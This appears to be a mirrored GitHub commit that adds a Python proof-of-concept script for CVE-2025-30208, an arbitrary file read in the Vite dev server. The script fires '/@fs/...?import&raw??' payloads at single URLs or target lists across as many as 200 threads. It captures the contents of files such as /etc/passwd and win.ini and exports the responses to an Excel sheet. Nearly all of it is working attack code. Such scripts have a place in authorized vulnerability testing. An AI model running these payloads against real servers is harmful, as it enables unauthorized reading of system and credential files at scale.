mirror of
https://github.com/iSee857/CVE-2025-30208-PoC.git
synced 2025-11-06 11:31:14 +00:00
Create Vite-CVE-2025-30208-ReadAnyFile.py
CVE-2025-30208动态检测
This commit is contained in:
commit
dbddfee5f2
226
Vite-CVE-2025-30208-ReadAnyFile.py
Normal file
226
Vite-CVE-2025-30208-ReadAnyFile.py
Normal file
@ -0,0 +1,226 @@
|
|||||||
|
import requests
|
||||||
|
import argparse
|
||||||
|
import urllib3
|
||||||
|
import concurrent.futures
|
||||||
|
import threading
|
||||||
|
from openpyxl import Workbook
|
||||||
|
from openpyxl.styles import PatternFill, Alignment
|
||||||
|
from openpyxl.utils import get_column_letter
|
||||||
|
|
||||||
|
|
||||||
|
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||||
|
|
||||||
|
|
||||||
|
COLORS = {
|
||||||
|
"GREEN": '\033[92m',
|
||||||
|
"RED": '\033[91m',
|
||||||
|
"YELLOW": '\033[93m',
|
||||||
|
"RESET": '\033[0m'
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
result_lock = threading.Lock()
|
||||||
|
global_results = []
|
||||||
|
|
||||||
|
|
||||||
|
EXCEL_STYLES = {
|
||||||
|
"SUCCESS": PatternFill(start_color='C6EFCE', end_color='C6EFCE', fill_type='solid'),
|
||||||
|
"WARNING": PatternFill(start_color='FFEB9C', end_color='FFEB9C', fill_type='solid'),
|
||||||
|
"FAIL": PatternFill(start_color='FFC7CE', end_color='FFC7CE', fill_type='solid'),
|
||||||
|
"ERROR": PatternFill(start_color='FFD700', end_color='FFD700', fill_type='solid')
|
||||||
|
}
|
||||||
|
|
||||||
|
def parse_payload(payload_str):
|
||||||
|
|
||||||
|
if '??' in payload_str:
|
||||||
|
# 使用rpartition确保只分割最后一个??
|
||||||
|
path_part, sep, indicator_part = payload_str.rpartition('??')
|
||||||
|
return (f"{path_part}{sep}", indicator_part.strip()) # 保留原始分隔符
|
||||||
|
return (payload_str.strip(), "")
|
||||||
|
|
||||||
|
def check_url(target, payload, success_indicator, proxy):
|
||||||
|
|
||||||
|
full_url = target.rstrip('/') + payload
|
||||||
|
result = {
|
||||||
|
"url": full_url,
|
||||||
|
"status": "PENDING",
|
||||||
|
"status_code": 0,
|
||||||
|
"indicator": success_indicator,
|
||||||
|
"content": "",
|
||||||
|
"error": ""
|
||||||
|
}
|
||||||
|
|
||||||
|
try:
|
||||||
|
proxies = {"http": proxy, "https": proxy} if proxy else None
|
||||||
|
response = requests.get(
|
||||||
|
full_url,
|
||||||
|
timeout=10,
|
||||||
|
verify=False,
|
||||||
|
proxies=proxies,
|
||||||
|
allow_redirects=False
|
||||||
|
)
|
||||||
|
|
||||||
|
result["status_code"] = response.status_code
|
||||||
|
result["content"] = response.text # 保留完整响应内容
|
||||||
|
|
||||||
|
|
||||||
|
if response.status_code == 200:
|
||||||
|
if success_indicator:
|
||||||
|
if success_indicator in response.text:
|
||||||
|
result["status"] = "SUCCESS"
|
||||||
|
else:
|
||||||
|
result["status"] = "WARNING" # 200但未匹配标识
|
||||||
|
else:
|
||||||
|
result["status"] = "SUCCESS" # 200且无标识要求
|
||||||
|
else:
|
||||||
|
result["status"] = "FAIL"
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
result["status"] = "ERROR"
|
||||||
|
result["error"] = str(e)
|
||||||
|
|
||||||
|
return result
|
||||||
|
|
||||||
|
def process_result(result):
|
||||||
|
|
||||||
|
status_colors = {
|
||||||
|
"SUCCESS": COLORS["GREEN"],
|
||||||
|
"WARNING": COLORS["YELLOW"],
|
||||||
|
"FAIL": COLORS["RED"],
|
||||||
|
"ERROR": COLORS["YELLOW"]
|
||||||
|
}
|
||||||
|
|
||||||
|
status_msgs = {
|
||||||
|
"SUCCESS": "检测成功(存在漏洞特征)",
|
||||||
|
"WARNING": "检测成功但未匹配标识(需人工确认)",
|
||||||
|
"FAIL": "请求失败",
|
||||||
|
"ERROR": "请求错误"
|
||||||
|
}
|
||||||
|
|
||||||
|
color = status_colors.get(result["status"], COLORS["RESET"])
|
||||||
|
status_msg = status_msgs.get(result["status"], "未知状态")
|
||||||
|
|
||||||
|
output = [
|
||||||
|
f"{color}[{result['status']}]{COLORS['RESET']}",
|
||||||
|
f"完整请求URL: {result['url']}",
|
||||||
|
f"状态码: {result['status_code']}",
|
||||||
|
f"匹配标识: {result['indicator'] or '无'}"
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
if result["status_code"] == 200:
|
||||||
|
content_preview = result["content"][:1000] # 显示前1000字符
|
||||||
|
if len(result["content"]) > 1000:
|
||||||
|
content_preview += "\n...(内容已截断,完整内容见报告)"
|
||||||
|
output.append(f"响应内容预览:\n{content_preview}")
|
||||||
|
|
||||||
|
output.append("----------------------------------------")
|
||||||
|
print("\n".join(output))
|
||||||
|
|
||||||
|
with result_lock:
|
||||||
|
global_results.append({
|
||||||
|
**result,
|
||||||
|
"content": result["content"][:50000] # Excel中保留5万字符
|
||||||
|
})
|
||||||
|
|
||||||
|
def export_to_excel(filename):
|
||||||
|
wb = Workbook()
|
||||||
|
ws = wb.active
|
||||||
|
ws.title = "检测结果"
|
||||||
|
|
||||||
|
headers = [
|
||||||
|
"目标URL", "检测路径", "状态",
|
||||||
|
"状态码", "匹配标识", "响应内容", "错误信息"
|
||||||
|
]
|
||||||
|
for col, header in enumerate(headers, 1):
|
||||||
|
ws.cell(row=1, column=col, value=header)
|
||||||
|
ws.column_dimensions[get_column_letter(col)].width = 30
|
||||||
|
|
||||||
|
for row, result in enumerate(global_results, 2):
|
||||||
|
ws.cell(row=row, column=1, value=result["url"])
|
||||||
|
ws.cell(row=row, column=2, value=result["url"].replace(result["url"].split('//')[0]+'//'+result["url"].split('//')[1].split('/')[0], '')) # 显示相对路径
|
||||||
|
ws.cell(row=row, column=3, value=result["status"])
|
||||||
|
ws.cell(row=row, column=4, value=result["status_code"])
|
||||||
|
ws.cell(row=row, column=5, value=result["indicator"])
|
||||||
|
ws.cell(row=row, column=6, value=result["content"])
|
||||||
|
ws.cell(row=row, column=7, value=result["error"])
|
||||||
|
|
||||||
|
fill = EXCEL_STYLES.get(result["status"], None)
|
||||||
|
alignment = Alignment(wrap_text=True)
|
||||||
|
for col in range(1, 8):
|
||||||
|
ws.cell(row=row, column=col).fill = fill if fill else PatternFill()
|
||||||
|
ws.cell(row=row, column=col).alignment = alignment
|
||||||
|
|
||||||
|
wb.save(filename)
|
||||||
|
print(f"\n{COLORS['GREEN']}[+] 检测结果已保存到 {filename}{COLORS['RESET']}")
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser = argparse.ArgumentParser(description="Vite路径遍历漏洞检测工具 Author:iSee857", formatter_class=argparse.RawTextHelpFormatter)
|
||||||
|
parser.add_argument("-f", "--file", help="包含目标URL的文件")
|
||||||
|
parser.add_argument("-u", "--url", help="单个目标URL")
|
||||||
|
parser.add_argument("-p", "--payload", action="append",
|
||||||
|
help="""自定义检测路径(支持两种格式):
|
||||||
|
1. 带检测标识:/path??indicator
|
||||||
|
2. 仅路径:/path?param=1??
|
||||||
|
示例:
|
||||||
|
-p "/@fs/C://windows/win.ini?import&raw??"
|
||||||
|
-p "/@fs/etc/passwd?import&raw??
|
||||||
|
""")
|
||||||
|
parser.add_argument("--proxy", help="代理服务器地址(如:http://127.0.0.1:8080)")
|
||||||
|
parser.add_argument("-o", "--output", default="results.xlsx",
|
||||||
|
help="输出文件名(默认:results.xlsx)")
|
||||||
|
parser.add_argument("-t", "--threads", type=int, default=50,
|
||||||
|
help="并发线程数量(默认:50,范围:1-200)")
|
||||||
|
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
|
||||||
|
if not args.url and not args.file:
|
||||||
|
parser.error("必须指定 -u/--url 或 -f/--file 参数")
|
||||||
|
|
||||||
|
if args.threads < 1 or args.threads > 200:
|
||||||
|
parser.error("线程数必须在1-200之间")
|
||||||
|
|
||||||
|
# 初始化检测规则
|
||||||
|
if args.payload:
|
||||||
|
payloads = [parse_payload(p) for p in args.payload]
|
||||||
|
else:
|
||||||
|
payloads = [
|
||||||
|
("/@fs/C:/windows/win.ini?import&raw??", "fonts"),
|
||||||
|
("/@fs/etc/passwd?import&raw??", "root:x")
|
||||||
|
]
|
||||||
|
|
||||||
|
# 准备目标列表
|
||||||
|
targets = []
|
||||||
|
if args.url:
|
||||||
|
targets.append(args.url.rstrip('/'))
|
||||||
|
elif args.file:
|
||||||
|
with open(args.file) as f:
|
||||||
|
targets = [line.strip().rstrip('/') for line in f if line.strip()]
|
||||||
|
|
||||||
|
# 启动多线程检测
|
||||||
|
with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor:
|
||||||
|
futures = []
|
||||||
|
for target in targets:
|
||||||
|
for path, indicator in payloads:
|
||||||
|
futures.append(
|
||||||
|
executor.submit(
|
||||||
|
check_url,
|
||||||
|
target,
|
||||||
|
path,
|
||||||
|
indicator,
|
||||||
|
args.proxy
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
for future in concurrent.futures.as_completed(futures):
|
||||||
|
process_result(future.result())
|
||||||
|
|
||||||
|
# 导出结果
|
||||||
|
if global_results:
|
||||||
|
export_to_excel(args.output)
|
||||||
|
else:
|
||||||
|
print(f"{COLORS['YELLOW']}[!] 未发现有效检测结果{COLORS['RESET']}")
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
Loading…
x
Reference in New Issue
Block a user